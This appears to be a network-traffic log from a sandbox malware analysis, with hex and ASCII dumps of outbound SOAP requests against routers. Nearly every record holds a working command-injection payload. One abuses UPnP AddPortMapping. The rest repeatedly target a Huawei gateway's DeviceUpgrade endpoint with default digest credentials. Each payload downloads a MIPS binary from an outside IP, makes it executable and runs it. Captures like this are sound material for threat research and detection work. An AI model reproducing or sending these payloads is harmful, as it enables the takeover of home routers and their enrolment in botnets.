                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      73192.168.2.1549380156.254.109.13237215
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:30.042706013 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:31.641843081 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:33.529746056 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:37.529683113 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:45.209454060 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:00.312999010 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:31.800091982 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      74192.168.2.1546060156.254.78.16437215
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:30.344784975 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
